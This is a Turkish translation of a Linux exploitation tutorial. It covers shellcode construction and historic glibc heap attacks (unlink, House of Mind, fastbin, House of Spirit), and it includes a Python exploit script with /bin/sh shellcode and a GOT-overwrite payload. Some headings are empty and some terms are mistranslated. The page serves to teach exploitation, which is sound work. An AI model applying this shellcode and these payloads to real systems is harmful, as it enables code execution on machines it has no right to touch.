Linux Exploiting (Basic) (SPA)
2.SHELLCODE
Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70 execve(“/bin/sh”, args[], NULL); // __NR_execve 11 exit(0); // __NR_exit 1
xor eax, eax ; eax'ı temizle xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok mov al, 0x01 ; eax = 1 —> __NR_exit 1 int 0x80 ; Sistem çağrısını yürüt
nasm -f elf assembly.asm —> Bir .o dosyası döndürür ld assembly.o -o shellcodeout —> Derlenmiş kodu içeren yürütülebilir dosyayı verir ve objdump ile opcode'ları çıkarabiliriz objdump -d -Mintel ./shellcodeout —> Gerçekten shellcodemuz olduğunu ve opcode'ları çıkarmak için
Shellcodenin çalıştığını kontrol etmek
Stack Kullanarak EIP Kontrolü:
EJ FNSTENV:
Yumurta Avcısı:
Bir işleme ilişkilendirilen bellek sayfalarını dolaşarak orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alanın olduğu durumlarda faydalıdır.
Polimorfik Shellcode'lar
Küçük kodlarla şifrelenmiş kabuklardır ve bunları çözen ve onlara atlayan küçük kodlar içerirler, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir:
5. Ek Yöntemler
8 Heap Taşmaları: Temel Saldırılar
Ayrılmış Parça
prev_size | size | —Başlık *mem | Veri
Boş Parça
prev_size | size | *fd | İleri parça işaretçisi *bk | Geri parça işaretçisi —Başlık *mem | Veri
Boş parçalar çift bağlı bir liste içindedir (bin) ve hiçbir zaman yan yana iki boş parça olamaz (birleştirilirler).
"size" içindeki bitler şunları belirtir: Önceki parça kullanımda mı, parça mmap() ile ayrıldı mı ve parça ana alana mı ait.
Bir parça serbest bırakıldığında, yanındaki parçalardan herhangi biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve daha büyük yeni parça frontlink() e geçirilir ve uygun bin içine eklenir.
unlink(){ BK = P->bk; —> Yeni parçanın BK'sı önceden boş olanın BK'si olur FD = P->fd; —> Yeni parçanın FD'si önceden boş olanın FD'si olur FD->bk = BK; —> Sonraki parçanın BK'sı yeni parçaya işaret eder BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder }
Bu nedenle, P->bk'yi bir shellcode'un adresiyle ve P->fd'yi GOT veya DTORS'taki bir girişin adresi eksi 12 ile değiştirebilirsek şunlar gerçekleşir:
BK = P->bk = &shellcode FD = P->fd = &__dtor_end__ - 12 FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Ve böylece programdan çıkarken shellcode çalıştırılır.
Ayrıca, unlink()'in 4. ifadesi bir şey yazıyor ve shellcode bunun için düzeltilmelidir:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı bunu atlamak ve shellcode'un geri kalanına gitmek için bir jmp olmalıdır.
Bu nedenle, saldırı şu şekilde oluşturulur:
Buffer1'e shellcode eklenir, nops'a veya shellcode'un geri kalanına düşmesi için bir jmp ile başlar.
Shellcode'un ardından, bir sonraki parçanın prev_size ve size alanına ulaşana kadar doldurma yapılır. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin üzerine yazılması) ve "-4" (0xfffffffc) size'a yazılır (3. parçanın 2. parçanın gerçekte boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev_size'a gider) -> Bu şekilde, free() kontrol ettiğinde 3. parçanın size'ına gidecek ancak gerçekte 2. parçanın - 4'e gidecek ve 2. parçanın boş olduğunu düşünecek. Ve sonra unlink() çağrılacak.
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verileri kullanılacağından, buraya üzerine yazılacak adres - 12 olacak (çünkü FD->bk'da FD'de saklanan adrese 12 ekleyecek). Ve bu adrese, 2. parçada bulunan ikinci adresi ekleyeceğiz, bu da shellcode'un adresi olacak (sahte P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de doldurma
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması önemli
fake_size = pack("<I”, 0xfffffffc) #-4, 3. parçanın size'ının 4 bayt geride olduğunu düşünmesi için (prev_size'ı işaret eder) çünkü 2. parçanın boş olup olmadığını kontrol ederken buraya bakar
addr_sc = pack("<I", 0x0804a008 + 8) #Payload'da başta 8 bayt doldurma olacak
**got_free = pack("<I", 0x08048300 - 12) #free() fonksiyonunun adresi plt-12 (shellcode'u çalıştırmak için üzerine yazılacak adres) **
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Payload'ın başında 8 bayt doldurma olacak
payload += prev_size + fake_size + got_free + addr_sc #2. parça değiştirilir, got_free, saklanacak adresin (addr_sc + 12) nereye işaret edeceğini gösterir
os.system("./8.3.o " + payload)
unset() (wargame'de) ters sırada serbest bırakma
Üç ardışık parçayı kontrol ediyoruz ve rezerve edildiği sıranın tersine serbest bırakılıyor.
Bu durumda:
c parçasına shellcode yerleştirilir
a parçasını, a parçasının boş olduğunu düşünmesi için size'da PREV_INUSE bitini devre dışı bırakacak şekilde üzerine yazmak için kullanırız.
Ayrıca, b başlığında size değeri -4 olacak şekilde üzerine yazılır.
Bu durumda, program "a"nın boş olduğunu ve bir binde olduğunu düşünecek ve onu çözmek için unlink() çağrılacak. Ancak, çünkü başlık PREV_SIZE -4 değerine sahip, "a" parçasının aslında b+4'te başladığını düşünecek. Yani, b+4'te başlayan bir parçayı çözecek, bu da b+12'de "fd" işaretçisi ve b+16'da "bk" işaretçisi olacak.
Bu şekilde, bk'ya shellcode'un adresini ve fd'ye "puts()" fonksiyonunun adresini -12 olarak koyarsak, payload'ımız hazır olur.
Frontlink Tekniği
Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Saldırılan malloc hiçbir zaman serbest bırakılmazsa (free()) yararlı bir zayıflık.
Gereksinimler:
Veri girişi işleviyle taşma yapılabilen bir tampon
Bu tampona bitişik serbest bırakılacak ve başlık alanındaki fd'si taşma tamponundan dolayı değiştirilecek bir tampon
512'den büyük ancak önceki tampondan küçük bir boyuta sahip serbest bırakılacak bir tampon
Bu adımlardan önce tanımlanmış bir tampon, bu sayede iki malloc'a kontrolsüz bir şekilde ve biri kontrol edilerek üzerine yazma yaparak bir saldırı gerçekleştirilebilir.
Çift free() Zayıflığı
Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bin oluşur.
Birini tekrar kullanmak istendiğinde sorunsuzca atanır. Diğerini kullanmak istendiğinde, aynı alan atanır, bu da önceki rezervasyonun yazacağı verilerle yanıltılmış "fd" ve "bk" işaretçilerine sahip olacağımız anlamına gelir.
free() Sonrası
Önceden serbest bırakılan bir işaretçi kontrolsüz bir şekilde tekrar kullanılır.
8 Heap Taşmaları: İleri Düzey Saldırılar
Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.
Zihin Evi
Kodun keyfi olarak yürütülmesini sağlamak için sadece bir free() çağrısı gereklidir. Bir önceki parçayı taşımak ve serbest bırakmak için taşan bir ikinci parça aramak önemlidir.
Bir free() çağrısı, public_fREe(mem) fonksiyonunu çağırır, bu fonksiyon:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Parçanın başladığı adresi (mem-8) döndürür
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
[1] kısmında, NON_MAIN_ARENA bitini kontrol eder, bu biti değiştirerek kontrolün true dönmesini sağlayabilir ve heap_for_ptr() fonksiyonunu çalıştırabiliriz. Bu işlem, "mem" üzerinde bir and işlemi yaparak en az önemli 2.5 baytı sıfırlar (örneğin, 0x0804a000 adresinde 0x08000000 bırakır) ve 0x08000000->ar_ptr adresine erişir (struct heap_info gibi).
Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve 0x081002a0 adresinde bir parça serbest bırakılacaksa 0x08100000 adresine ulaşabilir ve istediğimizi yazabiliriz, örneğin 0x0804a000. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'nin 0x08100000 adresine yazdığımızı görecektir (çünkü önceki and işlemi uygulanır ve buradan ilk 4 baytın değeri, yani ar_ptr alınır).
Bu şekilde _int_free(ar_ptr, mem) çağrılır, yani _int_free(0x0804a000, 0x081002a0) _int_free(mstate av, Void_t* mem){ … bck = unsorted_chunks(av); fwd = bck->fd; p->bk = bck; p->fd = fwd; bck->fd = p; fwd->bk = p;
..}
Daha önce gördüğümüz gibi av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçaya yazdığımız değerdir.
unsorted_chunks fonksiyonunun tanımına göre biliyoruz ki: bck = &av->bins[2]-8; fwd = bck->fd = *(av->bins[2]); fwd->bk = *(av->bins[2] + 12) = p;
Bu nedenle av->bins[2] adresine __DTOR_END__-12 adresini yazarsak, son komutta __DTOR_END__ adresine ikinci parçanın adresi yazılacaktır.
Yani, ilk parçaya __DTOR_END__-12 adresini başa birçok kez koymamız gerekiyor, çünkü av->bins[2] buradan değeri alacak.
İkinci parçada ve birinci parçanın yardımıyla prev_size'a bir 0x0c ataması ve size'a -> NON_MAIN_ARENA'ı etkinleştirmek için bir değer yazıyoruz.
Sonra, parça 2'ye bir sürü nops ve sonunda shellcode ekliyoruz.
Bu şekilde _int_free(TROZO1, TROZO2) çağrılacak ve __DTOR_END__ adresine TROZO2'nin prev_size adresi yazılacak ve shellcode'a atlayacak.
Bu tekniği uygulamak için payload'u biraz daha karmaşık hale getiren bazı gereksinimlerin karşılanması gerekmektedir.
Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedefin de kendisine işaret edilip edilmediği kontrol edilir.
Fastbin
Zihin Evi'nin bir varyantıdır
İlk _int_free() fonksiyonunun ilk kontrolünden sonra ulaşılan kodu yürütmek istiyoruz.
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Bu şekilde, "fb" adresi GOT'taki bir fonksiyonun adresini gösteriyorsa, bu adrese üzerine yazılacak olan parça adresi konulacaktır. Bunun için arenanın dtor adreslerine yakın olması gerekmektedir. Daha doğrusu, av->max_fast'in üzerine yazılacak olan adreste olması gerekmektedir.
Zihin Evi ile arenanın konumunu kontrol edebileceğimizi gördüğümüz için.
Bu durumda, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE boyutunu yazarsak, fastbin_index() bize fastbins[-1] adresini döndürecektir, bu da av->max_fast adresine işaret edecektir.
Bu durumda av->max_fast üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan) adres olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut yazmamız yeterlidir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünerek, sahte yeni parçanın boyut alanına atlamak için bir jmp koymamız gerekecektir).
Ayrıca, bu sahte parça av->system_mem'den küçük olmalıdır. av->system_mem, bu konumdan 1848 bayt uzakta bulunmaktadır.
_DTOR_END_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak uygun bir adres değildir, bu yüzden pili hedeflemek için fastbin'i nasıl kullanacağımıza bakalım.
Başka bir saldırı şekli, av'yi pile yönlendirmektir.
Size değerini 8 yerine 16 yaparsak: fastbin_index() bize fastbins[0] döndürecektir ve bunu kullanarak pile yazabiliriz.
Bunun için pile canary veya garip değerler olmamalıdır, aslında şu şekilde olmalıdır: 4 bayt null + EBP + RET
4 bayt null, av'nin bu adreste olacağı ve bir av'nin ilk öğesinin 0 olması gerektiği anlamına gelir.
av->max_fast, EBP olacak ve bizi kısıtlamalardan geçirecek bir değer olacak.
av->fastbins[0] adresi p'nin adresiyle üzerine yazılacak ve RET olacak, böylece shellcode'a atlanacak.
Ayrıca, av->system_mem (pile göre 1484 bayt yukarıda) üzerinde, kontrolü atlamamıza izin verecek birçok çöp olacaktır.
Serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekmektedir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut yazmamız yeterlidir (ayrıca shellcode'un serbest bırakılan parçada olacağını düşünerek, sahte yeni parçanın boyut alanına atlamak için bir jmp koymamız gerekecektir).
Ruh Evi
Bu durumda, saldırganın değiştirebileceği bir malloc işaretçisine sahip olmak istiyoruz (örneğin, işaretçinin bir değişken üzerindeki taşmaya işaret ettiği yığında olması).
Böylece, bu işaretçiyi istediğimiz yere işaret edecek şekilde yapabiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max_fast'tan küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında talep edilen boyuta 8 eklenmelidir. Bu nedenle, bu savunmasız işaretçiden sonra bir malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır.
Last updated